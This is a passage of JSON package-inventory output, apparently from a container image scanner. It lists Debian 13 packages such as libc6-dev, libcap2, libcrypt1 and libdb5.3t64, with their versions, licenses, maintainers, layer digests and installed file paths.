"/usr/include/x86_64-linux-gnu/bits/error-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/error.h", "/usr/include/x86_64-linux-gnu/bits/eventfd.h", "/usr/include/x86_64-linux-gnu/bits/fcntl-linux.h", "/usr/include/x86_64-linux-gnu/bits/fcntl.h", "/usr/include/x86_64-linux-gnu/bits/fcntl2.h", "/usr/include/x86_64-linux-gnu/bits/fenv.h", "/usr/include/x86_64-linux-gnu/bits/floatn-common.h", "/usr/include/x86_64-linux-gnu/bits/floatn.h", "/usr/include/x86_64-linux-gnu/bits/flt-eval-method.h", "/usr/include/x86_64-linux-gnu/bits/fp-fast.h", "/usr/include/x86_64-linux-gnu/bits/fp-logb.h", "/usr/include/x86_64-linux-gnu/bits/getopt_core.h", "/usr/include/x86_64-linux-gnu/bits/getopt_ext.h", "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h", "/usr/include/x86_64-linux-gnu/bits/hwcap.h", "/usr/include/x86_64-linux-gnu/bits/in.h", "/usr/include/x86_64-linux-gnu/bits/indirect-return.h", "/usr/include/x86_64-linux-gnu/bits/initspin.h", "/usr/include/x86_64-linux-gnu/bits/inotify.h", "/usr/include/x86_64-linux-gnu/bits/ioctl-types.h", "/usr/include/x86_64-linux-gnu/bits/ioctls.h", "/usr/include/x86_64-linux-gnu/bits/ipc-perm.h", "/usr/include/x86_64-linux-gnu/bits/ipc.h", "/usr/include/x86_64-linux-gnu/bits/ipctypes.h", "/usr/include/x86_64-linux-gnu/bits/iscanonical.h", "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h", "/usr/include/x86_64-linux-gnu/bits/libm-simd-decl-stubs.h", "/usr/include/x86_64-linux-gnu/bits/link.h", "/usr/include/x86_64-linux-gnu/bits/link_lavcurrent.h", "/usr/include/x86_64-linux-gnu/bits/local_lim.h", "/usr/include/x86_64-linux-gnu/bits/locale.h", "/usr/include/x86_64-linux-gnu/bits/long-double.h", "/usr/include/x86_64-linux-gnu/bits/math-vector.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-macros.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls-narrow.h", "/usr/include/x86_64-linux-gnu/bits/mathcalls.h", "/usr/include/x86_64-linux-gnu/bits/mathdef.h", "/usr/include/x86_64-linux-gnu/bits/mman-linux.h", "/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h", "/usr/include/x86_64-linux-gnu/bits/mman-shared.h", "/usr/include/x86_64-linux-gnu/bits/mman.h", "/usr/include/x86_64-linux-gnu/bits/mman_ext.h", "/usr/include/x86_64-linux-gnu/bits/monetary-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/mqueue.h", "/usr/include/x86_64-linux-gnu/bits/mqueue2.h", "/usr/include/x86_64-linux-gnu/bits/msq.h", "/usr/include/x86_64-linux-gnu/bits/netdb.h", "/usr/include/x86_64-linux-gnu/bits/param.h", "/usr/include/x86_64-linux-gnu/bits/platform/features.h", "/usr/include/x86_64-linux-gnu/bits/platform/x86.h", "/usr/include/x86_64-linux-gnu/bits/poll.h", "/usr/include/x86_64-linux-gnu/bits/poll2.h", "/usr/include/x86_64-linux-gnu/bits/posix1_lim.h", "/usr/include/x86_64-linux-gnu/bits/posix2_lim.h", "/usr/include/x86_64-linux-gnu/bits/posix_opt.h", "/usr/include/x86_64-linux-gnu/bits/printf-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/procfs-extra.h", "/usr/include/x86_64-linux-gnu/bits/procfs-id.h", "/usr/include/x86_64-linux-gnu/bits/procfs-prregset.h", "/usr/include/x86_64-linux-gnu/bits/procfs.h", "/usr/include/x86_64-linux-gnu/bits/pthread_stack_min-dynamic.h", "/usr/include/x86_64-linux-gnu/bits/pthread_stack_min.h", "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h", "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h", "/usr/include/x86_64-linux-gnu/bits/ptrace-shared.h", "/usr/include/x86_64-linux-gnu/bits/resource.h", "/usr/include/x86_64-linux-gnu/bits/rseq.h", "/usr/include/x86_64-linux-gnu/bits/sched.h", "/usr/include/x86_64-linux-gnu/bits/select-decl.h", "/usr/include/x86_64-linux-gnu/bits/select.h", "/usr/include/x86_64-linux-gnu/bits/select2.h", "/usr/include/x86_64-linux-gnu/bits/sem.h", "/usr/include/x86_64-linux-gnu/bits/semaphore.h", "/usr/include/x86_64-linux-gnu/bits/setjmp.h", "/usr/include/x86_64-linux-gnu/bits/setjmp2.h", "/usr/include/x86_64-linux-gnu/bits/shm.h", "/usr/include/x86_64-linux-gnu/bits/shmlba.h", "/usr/include/x86_64-linux-gnu/bits/sigaction.h", "/usr/include/x86_64-linux-gnu/bits/sigcontext.h", "/usr/include/x86_64-linux-gnu/bits/sigevent-consts.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-arch.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-consts-arch.h", "/usr/include/x86_64-linux-gnu/bits/siginfo-consts.h", "/usr/include/x86_64-linux-gnu/bits/signal_ext.h", "/usr/include/x86_64-linux-gnu/bits/signalfd.h", "/usr/include/x86_64-linux-gnu/bits/signum-arch.h", "/usr/include/x86_64-linux-gnu/bits/signum-generic.h", "/usr/include/x86_64-linux-gnu/bits/sigstack.h", "/usr/include/x86_64-linux-gnu/bits/sigstksz.h", "/usr/include/x86_64-linux-gnu/bits/sigthread.h", "/usr/include/x86_64-linux-gnu/bits/sockaddr.h", "/usr/include/x86_64-linux-gnu/bits/socket-constants.h", "/usr/include/x86_64-linux-gnu/bits/socket.h", "/usr/include/x86_64-linux-gnu/bits/socket2.h", "/usr/include/x86_64-linux-gnu/bits/socket_type.h", "/usr/include/x86_64-linux-gnu/bits/spawn_ext.h", "/usr/include/x86_64-linux-gnu/bits/ss_flags.h", "/usr/include/x86_64-linux-gnu/bits/stab.def", "/usr/include/x86_64-linux-gnu/bits/stat.h", "/usr/include/x86_64-linux-gnu/bits/statfs.h", "/usr/include/x86_64-linux-gnu/bits/statvfs.h", "/usr/include/x86_64-linux-gnu/bits/statx-generic.h", "/usr/include/x86_64-linux-gnu/bits/statx.h", "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h", "/usr/include/x86_64-linux-gnu/bits/stdint-least.h", "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h", "/usr/include/x86_64-linux-gnu/bits/stdio-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/stdio.h", "/usr/include/x86_64-linux-gnu/bits/stdio2-decl.h", "/usr/include/x86_64-linux-gnu/bits/stdio2.h", "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-bsearch.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/stdlib.h", "/usr/include/x86_64-linux-gnu/bits/string_fortified.h", "/usr/include/x86_64-linux-gnu/bits/strings_fortified.h", "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h", "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h", "/usr/include/x86_64-linux-gnu/bits/struct_stat.h", "/usr/include/x86_64-linux-gnu/bits/struct_stat_time64_helper.h", "/usr/include/x86_64-linux-gnu/bits/syscall.h", "/usr/include/x86_64-linux-gnu/bits/syslog-decl.h", "/usr/include/x86_64-linux-gnu/bits/syslog-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/syslog-path.h", "/usr/include/x86_64-linux-gnu/bits/syslog.h", "/usr/include/x86_64-linux-gnu/bits/sysmacros.h", "/usr/include/x86_64-linux-gnu/bits/termios-baud.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_cc.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-misc.h", "/usr/include/x86_64-linux-gnu/bits/termios-struct.h", "/usr/include/x86_64-linux-gnu/bits/termios-tcflow.h", "/usr/include/x86_64-linux-gnu/bits/termios.h", "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h", "/usr/include/x86_64-linux-gnu/bits/time.h", "/usr/include/x86_64-linux-gnu/bits/time64.h", "/usr/include/x86_64-linux-gnu/bits/timerfd.h", "/usr/include/x86_64-linux-gnu/bits/timesize.h", "/usr/include/x86_64-linux-gnu/bits/timex.h", "/usr/include/x86_64-linux-gnu/bits/types.h", "/usr/include/x86_64-linux-gnu/bits/types/FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__sigval_t.h", "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h", "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h", "/usr/include/x86_64-linux-gnu/bits/types/cookie_io_functions_t.h", "/usr/include/x86_64-linux-gnu/bits/types/error_t.h", "/usr/include/x86_64-linux-gnu/bits/types/idtype_t.h", "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h", "/usr/include/x86_64-linux-gnu/bits/types/mbstate_t.h", "/usr/include/x86_64-linux-gnu/bits/types/res_state.h", "/usr/include/x86_64-linux-gnu/bits/types/sig_atomic_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigevent_t.h", "/usr/include/x86_64-linux-gnu/bits/types/siginfo_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigval_t.h", "/usr/include/x86_64-linux-gnu/bits/types/stack_t.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/struct___jmp_buf_tag.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_iovec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_itimerspec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_osockaddr.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_rusage.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_sched_param.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_sigstack.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_statx.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_statx_timestamp.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timeb.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_tm.h", "/usr/include/x86_64-linux-gnu/bits/types/time_t.h", "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h", "/usr/include/x86_64-linux-gnu/bits/types/wint_t.h", "/usr/include/x86_64-linux-gnu/bits/typesizes.h", "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h", "/usr/include/x86_64-linux-gnu/bits/uio-ext.h", "/usr/include/x86_64-linux-gnu/bits/uio_lim.h", "/usr/include/x86_64-linux-gnu/bits/unistd-decl.h", "/usr/include/x86_64-linux-gnu/bits/unistd.h", "/usr/include/x86_64-linux-gnu/bits/unistd_ext.h", "/usr/include/x86_64-linux-gnu/bits/utmp.h", "/usr/include/x86_64-linux-gnu/bits/utmpx.h", "/usr/include/x86_64-linux-gnu/bits/utsname.h", "/usr/include/x86_64-linux-gnu/bits/waitflags.h", "/usr/include/x86_64-linux-gnu/bits/waitstatus.h", "/usr/include/x86_64-linux-gnu/bits/wchar-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/wchar.h", "/usr/include/x86_64-linux-gnu/bits/wchar2-decl.h", "/usr/include/x86_64-linux-gnu/bits/wchar2.h", "/usr/include/x86_64-linux-gnu/bits/wctype-wchar.h", "/usr/include/x86_64-linux-gnu/bits/wordsize.h", "/usr/include/x86_64-linux-gnu/bits/xopen_lim.h", "/usr/include/x86_64-linux-gnu/fpu_control.h", "/usr/include/x86_64-linux-gnu/gnu/lib-names-64.h", "/usr/include/x86_64-linux-gnu/gnu/lib-names.h", "/usr/include/x86_64-linux-gnu/gnu/libc-version.h", "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h", "/usr/include/x86_64-linux-gnu/gnu/stubs.h", "/usr/include/x86_64-linux-gnu/ieee754.h", "/usr/include/x86_64-linux-gnu/sys/acct.h", "/usr/include/x86_64-linux-gnu/sys/auxv.h", "/usr/include/x86_64-linux-gnu/sys/bitypes.h", "/usr/include/x86_64-linux-gnu/sys/cdefs.h", "/usr/include/x86_64-linux-gnu/sys/debugreg.h", "/usr/include/x86_64-linux-gnu/sys/dir.h", "/usr/include/x86_64-linux-gnu/sys/elf.h", "/usr/include/x86_64-linux-gnu/sys/epoll.h", "/usr/include/x86_64-linux-gnu/sys/errno.h", "/usr/include/x86_64-linux-gnu/sys/eventfd.h", "/usr/include/x86_64-linux-gnu/sys/fanotify.h", "/usr/include/x86_64-linux-gnu/sys/fcntl.h", "/usr/include/x86_64-linux-gnu/sys/file.h", "/usr/include/x86_64-linux-gnu/sys/fsuid.h", "/usr/include/x86_64-linux-gnu/sys/gmon.h", "/usr/include/x86_64-linux-gnu/sys/gmon_out.h", "/usr/include/x86_64-linux-gnu/sys/inotify.h", "/usr/include/x86_64-linux-gnu/sys/io.h", "/usr/include/x86_64-linux-gnu/sys/ioctl.h", "/usr/include/x86_64-linux-gnu/sys/ipc.h", "/usr/include/x86_64-linux-gnu/sys/kd.h", "/usr/include/x86_64-linux-gnu/sys/klog.h", "/usr/include/x86_64-linux-gnu/sys/mman.h", "/usr/include/x86_64-linux-gnu/sys/mount.h", "/usr/include/x86_64-linux-gnu/sys/msg.h", "/usr/include/x86_64-linux-gnu/sys/mtio.h", "/usr/include/x86_64-linux-gnu/sys/param.h", "/usr/include/x86_64-linux-gnu/sys/pci.h", "/usr/include/x86_64-linux-gnu/sys/perm.h", "/usr/include/x86_64-linux-gnu/sys/personality.h", "/usr/include/x86_64-linux-gnu/sys/pidfd.h", "/usr/include/x86_64-linux-gnu/sys/platform/x86.h", "/usr/include/x86_64-linux-gnu/sys/poll.h", "/usr/include/x86_64-linux-gnu/sys/prctl.h", "/usr/include/x86_64-linux-gnu/sys/procfs.h", "/usr/include/x86_64-linux-gnu/sys/profil.h", "/usr/include/x86_64-linux-gnu/sys/ptrace.h", "/usr/include/x86_64-linux-gnu/sys/queue.h", "/usr/include/x86_64-linux-gnu/sys/quota.h", "/usr/include/x86_64-linux-gnu/sys/random.h", "/usr/include/x86_64-linux-gnu/sys/raw.h", "/usr/include/x86_64-linux-gnu/sys/reboot.h", "/usr/include/x86_64-linux-gnu/sys/reg.h", "/usr/include/x86_64-linux-gnu/sys/resource.h", "/usr/include/x86_64-linux-gnu/sys/rseq.h", "/usr/include/x86_64-linux-gnu/sys/select.h", "/usr/include/x86_64-linux-gnu/sys/sem.h", "/usr/include/x86_64-linux-gnu/sys/sendfile.h", "/usr/include/x86_64-linux-gnu/sys/shm.h", "/usr/include/x86_64-linux-gnu/sys/signal.h", "/usr/include/x86_64-linux-gnu/sys/signalfd.h", "/usr/include/x86_64-linux-gnu/sys/single_threaded.h", "/usr/include/x86_64-linux-gnu/sys/socket.h", "/usr/include/x86_64-linux-gnu/sys/socketvar.h", "/usr/include/x86_64-linux-gnu/sys/soundcard.h", "/usr/include/x86_64-linux-gnu/sys/stat.h", "/usr/include/x86_64-linux-gnu/sys/statfs.h", "/usr/include/x86_64-linux-gnu/sys/statvfs.h", "/usr/include/x86_64-linux-gnu/sys/swap.h", "/usr/include/x86_64-linux-gnu/sys/syscall.h", "/usr/include/x86_64-linux-gnu/sys/sysinfo.h", "/usr/include/x86_64-linux-gnu/sys/syslog.h", "/usr/include/x86_64-linux-gnu/sys/sysmacros.h", "/usr/include/x86_64-linux-gnu/sys/termios.h", "/usr/include/x86_64-linux-gnu/sys/time.h", "/usr/include/x86_64-linux-gnu/sys/timeb.h", "/usr/include/x86_64-linux-gnu/sys/timerfd.h", "/usr/include/x86_64-linux-gnu/sys/times.h", "/usr/include/x86_64-linux-gnu/sys/timex.h", "/usr/include/x86_64-linux-gnu/sys/ttychars.h", "/usr/include/x86_64-linux-gnu/sys/ttydefaults.h", "/usr/include/x86_64-linux-gnu/sys/types.h", "/usr/include/x86_64-linux-gnu/sys/ucontext.h", "/usr/include/x86_64-linux-gnu/sys/uio.h", "/usr/include/x86_64-linux-gnu/sys/un.h", "/usr/include/x86_64-linux-gnu/sys/unistd.h", "/usr/include/x86_64-linux-gnu/sys/user.h", "/usr/include/x86_64-linux-gnu/sys/utsname.h", "/usr/include/x86_64-linux-gnu/sys/vfs.h", "/usr/include/x86_64-linux-gnu/sys/vlimit.h", "/usr/include/x86_64-linux-gnu/sys/vm86.h", "/usr/include/x86_64-linux-gnu/sys/vt.h", "/usr/include/x86_64-linux-gnu/sys/wait.h", "/usr/include/x86_64-linux-gnu/sys/xattr.h", "/usr/lib/x86_64-linux-gnu/Mcrt1.o", "/usr/lib/x86_64-linux-gnu/Scrt1.o", "/usr/lib/x86_64-linux-gnu/audit/sotruss-lib.so", "/usr/lib/x86_64-linux-gnu/crt1.o", "/usr/lib/x86_64-linux-gnu/crti.o", "/usr/lib/x86_64-linux-gnu/crtn.o", "/usr/lib/x86_64-linux-gnu/gcrt1.o", "/usr/lib/x86_64-linux-gnu/grcrt1.o", "/usr/lib/x86_64-linux-gnu/libBrokenLocale.a", "/usr/lib/x86_64-linux-gnu/libanl.a", "/usr/lib/x86_64-linux-gnu/libc.a", "/usr/lib/x86_64-linux-gnu/libc.so", "/usr/lib/x86_64-linux-gnu/libc_nonshared.a", "/usr/lib/x86_64-linux-gnu/libdl.a", "/usr/lib/x86_64-linux-gnu/libg.a", "/usr/lib/x86_64-linux-gnu/libm-2.41.a", "/usr/lib/x86_64-linux-gnu/libm.a", "/usr/lib/x86_64-linux-gnu/libm.so", "/usr/lib/x86_64-linux-gnu/libmcheck.a", "/usr/lib/x86_64-linux-gnu/libmvec.a", "/usr/lib/x86_64-linux-gnu/libpthread.a", "/usr/lib/x86_64-linux-gnu/libpthread_nonshared.a", "/usr/lib/x86_64-linux-gnu/libresolv.a", "/usr/lib/x86_64-linux-gnu/librt.a", "/usr/lib/x86_64-linux-gnu/libutil.a", "/usr/lib/x86_64-linux-gnu/rcrt1.o", "/usr/share/doc/libc6-dev/NEWS.Debian.gz", "/usr/share/doc/libc6-dev/changelog.Debian.gz", "/usr/share/doc/libc6-dev/changelog.gz", "/usr/share/doc/libc6-dev/copyright", "/usr/share/gdb/auto-load/lib/x86_64-linux-gnu/libc.so.6-gdb.py", "/usr/share/lintian/overrides/libc6-dev" ], "AnalyzedBy": "dpkg" }, { "ID": "libcap-ng0@0.8.5-4+b1", "Name": "libcap-ng0", "Identifier": { "PURL": "pkg:deb/debian/libcap-ng0@0.8.5-4%2Bb1?arch=amd64\u0026distro=debian-13.6", "UID": "9b7c2d5667513e48" }, "Version": "0.8.5", "Release": "4+b1", "Arch": "amd64", "SrcName": "libcap-ng", "SrcVersion": "0.8.5", "SrcRelease": "4", "Licenses": [ "LGPL-2.1-or-later", "GPL-2.0-or-later", "GPL-3.0-only", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Håvard F. Aasen \u003chavard.f.aasen@pfft.no\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0", "/usr/lib/x86_64-linux-gnu/libdrop_ambient.so.0.0.0", "/usr/share/doc/libcap-ng0/changelog.Debian.amd64.gz", "/usr/share/doc/libcap-ng0/changelog.Debian.gz", "/usr/share/doc/libcap-ng0/changelog.gz", "/usr/share/doc/libcap-ng0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcap2@1:2.75-10+deb13u1+b1", "Name": "libcap2", "Identifier": { "PURL": "pkg:deb/debian/libcap2@2.75-10%2Bdeb13u1%2Bb1?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "7cefa0399e4d88d4" }, "Version": "2.75", "Release": "10+deb13u1+b1", "Epoch": 1, "Arch": "amd64", "SrcName": "libcap2", "SrcVersion": "2.75", "SrcRelease": "10+deb13u1", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Christian Kastner \u003cckk@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcap.so.2.75", "/usr/lib/x86_64-linux-gnu/libpsx.so.2.75", "/usr/share/doc/libcap2/changelog.Debian.amd64.gz", "/usr/share/doc/libcap2/changelog.Debian.gz", "/usr/share/doc/libcap2/changelog.gz", "/usr/share/doc/libcap2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcc1-0@14.2.0-19", "Name": "libcc1-0", "Identifier": { "PURL": "pkg:deb/debian/libcc1-0@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "c436dffe6d4bdab2" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "libstdc++6@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libcom-err2@1.47.2-3+b11", "Name": "libcom-err2", "Identifier": { "PURL": "pkg:deb/debian/libcom-err2@1.47.2-3%2Bb11?arch=amd64\u0026distro=debian-13.6", "UID": "4f71a9cbca45d908" }, "Version": "1.47.2", "Release": "3+b11", "Arch": "amd64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.2", "SrcRelease": "3", "Licenses": [ "GPL-2.0-only", "GPL-2.0-or-later", "0BSD", "MIT", "BSD-3-Clause-Variant", "BSD-3-Clause", "BSD-4-Clause-CMU", "LGPL-2.0-only", "Apache-2.0", "ISC", "MIT-US-export", "Kazlib", "Latex2e", "GPL-2+ with Texinfo exception" ], "Maintainer": "Theodore Y. Ts'o \u003ctytso@mit.edu\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcom_err.so.2.1", "/usr/share/doc/libcom-err2/changelog.Debian.amd64.gz", "/usr/share/doc/libcom-err2/changelog.Debian.gz", "/usr/share/doc/libcom-err2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcrypt-dev@1:4.4.38-1", "Name": "libcrypt-dev", "Identifier": { "PURL": "pkg:deb/debian/libcrypt-dev@4.4.38-1?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "d7c18f63b04c530e" }, "Version": "4.4.38", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcrypt", "SrcVersion": "4.4.38", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libcrypt1@1:4.4.38-1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/include/crypt.h", "/usr/lib/x86_64-linux-gnu/libcrypt.a", "/usr/lib/x86_64-linux-gnu/pkgconfig/libxcrypt.pc", "/usr/share/doc/libcrypt-dev/README.md.gz", "/usr/share/doc/libcrypt-dev/TODO.md.gz", "/usr/share/doc/libcrypt-dev/changelog.Debian.gz", "/usr/share/doc/libcrypt-dev/changelog.gz", "/usr/share/doc/libcrypt-dev/copyright", "/usr/share/man/man3/crypt.3.gz", "/usr/share/man/man3/crypt_checksalt.3.gz", "/usr/share/man/man3/crypt_gensalt.3.gz", "/usr/share/man/man3/crypt_preferred_method.3.gz", "/usr/share/man/man5/crypt.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libcrypt1@1:4.4.38-1", "Name": "libcrypt1", "Identifier": { "PURL": "pkg:deb/debian/libcrypt1@4.4.38-1?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "afe984ba824f92ac" }, "Version": "4.4.38", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcrypt", "SrcVersion": "4.4.38", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0", "/usr/share/doc/libcrypt1/changelog.Debian.gz", "/usr/share/doc/libcrypt1/changelog.gz", "/usr/share/doc/libcrypt1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libctf-nobfd0@2.44-3", "Name": "libctf-nobfd0", "Identifier": { "PURL": "pkg:deb/debian/libctf-nobfd0@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "c37c948c7860ed60" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libctf-nobfd.so.0.0.0", "/usr/share/doc/libctf-nobfd0/changelog.Debian.gz", "/usr/share/doc/libctf-nobfd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libctf0@2.44-3", "Name": "libctf0", "Identifier": { "PURL": "pkg:deb/debian/libctf0@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "b5e87ed7c73bdf67" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbinutils@2.44-3", "libc6@2.41-12+deb13u3", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libctf.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libdb5.3t64@5.3.28+dfsg2-9", "Name": "libdb5.3t64", "Identifier": { "PURL": "pkg:deb/debian/libdb5.3t64@5.3.28%2Bdfsg2-9?arch=amd64\u0026distro=debian-13.6", "UID": "2f5f1c2fd77295dc" }, "Version": "5.3.28+dfsg2", "Release": "9", "Arch": "amd64", "SrcName": "db5.3", "SrcVersion": "5.3.28+dfsg2", "SrcRelease": "9", "Licenses": [ "Sleepycat", "BSD-3-Clause", "MS-PL", "GPL-2.0-or-later", "Artistic-2.0", "X11", "MIT-old", "TCL-like", "BSD-3-clause-fjord", "GPL-3.0-only", "Zlib" ], "Maintainer": "Debian QA Group \u003cpackages@qa.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u3" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdb-5.3.so", "/usr/share/doc/libdb5.3t64/build_signature_amd64.txt", "/usr/share/doc/libdb5.3t64/changelog.Debian.gz", "/usr/share/doc/libdb5.3t64/copyright", "/usr/share/lintian/overrides/libdb5.3t64" ], 